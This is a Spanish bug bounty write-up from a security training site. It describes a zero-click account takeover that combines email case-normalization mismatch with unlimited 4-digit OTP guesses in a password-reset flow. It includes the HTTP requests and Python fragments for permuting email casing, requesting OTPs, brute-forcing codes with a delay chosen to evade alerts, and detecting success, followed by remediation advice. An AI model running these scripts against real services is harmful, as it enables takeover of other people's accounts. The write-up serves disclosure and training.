Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel IntermedioGratisbounty: €560

0-click Account Takeover — OTP brute force + Email Normalization

Dos fallos por separado parecen menores. Juntos, te dan ATO completo conociendo solo el email. Bounty real: €560 y 12 minutos de explotación.

Gorka El Bochi9 de mayo de 202614 min

Respuesta rápida

Dos fallos en el flujo de password reset: el OTP no se ata al email canónico (acepta cualquier variante de mayúsculas/minúsculas) y no hay rate limiting en la verificación. Combinados permiten ATO completo en 12 minutos conociendo solo el email de la víctima, sin interacción y completamente automatizable.


El flujo de reset y los dos fallos

Para entenderlo, primero hay que tener claro cómo funciona el flujo de reset del target:

css
1. El usuario introduce su email
2. El sistema envía un OTP (código numérico) a ese email
3. El usuario introduce el OTP + nueva contraseña
4. El sistema verifica el OTP y actualiza la contraseña

Parece sólido. El problema está en cómo el sistema trata el email entre el paso 2 y el paso 4.

Fallo 1: el email no se normaliza igual en los dos endpoints

Los emails son case-insensitive. usuario@ejemplo.com y USUARIO@EJEMPLO.COM son la misma dirección. Cualquier sistema bien implementado los convierte a minúsculas antes de procesarlos.

Aquí no ocurre eso de forma consistente. El endpoint que genera el OTP y el endpoint que verifica el OTP tratan el email de forma independiente. Esto significa que un OTP generado para Usuario@Ejemplo.COM puede validarse contra USUARIO@ejemplo.com — el sistema los resuelve al mismo usuario en BD, pero no comprueba que el código fue emitido para esa representación exacta.

Analogía: pides una entrada de cine con el nombre "JUAN GARCÍA" y te dejan entrar con "Juan García". El portero solo mira que el nombre coincide con alguien en la lista, sin verificar que la entrada fue emitida exactamente para esa grafía.

Fallo 2: no hay rate limiting en la verificación del OTP

Un OTP de 4 dígitos tiene exactamente 10.000 combinaciones posibles (de 0000 a 9999). Si el sistema no limita cuántas veces puedes intentar verificar un código, ese espacio es perfectamente iterable por fuerza bruta en cuestión de minutos.


Cómo se combinan los dos fallos

  1. El atacante toma el email de la víctima, por ejemplo: victima@ejemplo.com.
  2. Genera todas las variantes de casing posibles de ese email:
    • Victima@ejemplo.com
    • VICTIMA@ejemplo.com
    • victima@Ejemplo.com
    • Victima@Ejemplo.Com
    • … (miles según la longitud del email)
  3. Para cada variante, solicita un OTP al sistema.
  4. Prueba un puñado de códigos aleatorios en el endpoint de verificación para esa misma variante.
  5. Repite hasta acertar.

Cada vez que solicitas un OTP, el sistema genera un número nuevo de 4 dígitos. Probando variante tras variante y unos pocos códigos por cada una, estadísticamente acabas cubriendo el espacio de 10.000 combinaciones. En la práctica, el proceso tardó unos 12 minutos.


Los endpoints implicados

Paso 1 — Solicitar OTP:

http
POST /napi/partner/checkCode/sms HTTP/2
Content-Type: application/x-www-form-urlencoded

account=Victima@Ejemplo.COM&bizType=1

Paso 2 — Verificar OTP + resetear password:

http
PUT /napi/partner/password/reset HTTP/2
Content-Type: application/x-www-form-urlencoded

account=VICTIMA@ejemplo.Com
&newPassword=nuevapassword123
&checkCode=4821

Fíjate: en el paso 1 se usa Victima@Ejemplo.COM y en el paso 2 se usa VICTIMA@ejemplo.Com. Son dos representaciones distintas del mismo email. El sistema acepta la verificación igualmente.


El script de explotación, por partes

Generación de variantes de casing

python
def unique_case_permutations(s: str) -> List[str]:
    choices = []
    for ch in s:
        if ch.isalpha():
            choices.append((ch.lower(), ch.upper()))
        else:
            choices.append((ch,))
    out = set("".join(p) for p in itertools.product(*choices))
    return sorted(out)

Para cada carácter alfabético del email genera dos opciones (minúscula y mayúscula). Con itertools.product construye todas las combinaciones posibles.

Solicitud del OTP

python
def post_req1(session: requests.Session, account: str) -> requests.Response:
    url = BASE_URL + REQ1_PATH
    data = {"account": account, "bizType": "1"}
    return session.post(url, data=data, headers=headers, timeout=15)

Para cada variante del email, lanza un POST al endpoint de generación de OTP.

Brute force del OTP

python
codes_to_try = [f"{random.randint(0, 9999):04d}" for _ in range(4)]

for code4 in codes_to_try:
    r2 = put_req2(session, account_variant, new_password, code4)
    if is_success(r2):
        # ¡Éxito! Password reseteado

Por cada variante de email, prueba 4 códigos aleatorios. Si alguno coincide con el OTP activo en ese momento, el sistema lo acepta y cambia la contraseña.

Rate limiting autopuesto

python
MIN_DELAY = 0.5  # segundos entre peticiones

El script se autoimpone un delay de 0.5s entre peticiones para no levantar alertas. Esto también confirma que el servidor no tenía ninguna protección propia.

Detector de éxito

python
SUCCESS_META_CODE = 200
SUCCESS_MESSAGE_SUBSTR = "操作成功"   # "operación exitosa" en chino

def is_success(resp: requests.Response) -> bool:
    data = resp.json()
    meta = data.get("meta")
    if meta.get("code") == SUCCESS_META_CODE:
        if SUCCESS_MESSAGE_SUBSTR in str(meta.get("message", "")):
            return True

La respuesta positiva incluye el string 操作成功 en meta.message. Un detalle interesante que delata el origen del desarrollo del backend y es buen indicador para fingerprinting si encuentras otros targets del mismo stack.


Qué buscar cuando audites flujos similares

Este patrón aparece con más frecuencia de lo que parece. Cuando tengas un flujo de recuperación de contraseña entre manos, comprueba:

  • ¿Se normaliza el email antes de generar el OTP? Solicita el OTP en mayúsculas y verifica en minúsculas.
  • ¿El OTP está vinculado al email canónico o a la cadena exacta recibida? Son dos cosas distintas y muchos backends solo hacen lo primero.
  • ¿Hay rate limiting en el endpoint de verificación? No solo en el de generación. Lanza 50 peticiones seguidas y observa si el servidor reacciona.
  • ¿Cuántos dígitos tiene el OTP? 4 dígitos = 10.000 combinaciones. 6 dígitos = 1.000.000. La diferencia entre explotable en minutos o en horas.
  • ¿Se invalida el OTP después de N intentos fallidos? Sin lockout, el brute force es viable independientemente del número de dígitos.

Impacto

  • Toma de control de cualquier cuenta conociendo solo el email.
  • Sin interacción de la víctima en ningún momento.
  • Completamente automatizable con un script de menos de 200 líneas.
  • Escalable a compromiso masivo de cuentas.

Fix correcto

  1. Normalizar el email (lowercase) antes de cualquier operación relacionada con OTP, tanto en generación como en verificación.
  2. Vincular el OTP al identificador canónico de la cuenta, no a la cadena de email recibida.
  3. Rate limiting + lockout en el endpoint de verificación: máximo N intentos por OTP activo, con bloqueo temporal tras superarlos.

Labs relacionados

Practica chains de email normalization, OTP brute force y reset flows en escenarios reales: labs de ATO.

Practica esto en un lab

Ato

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados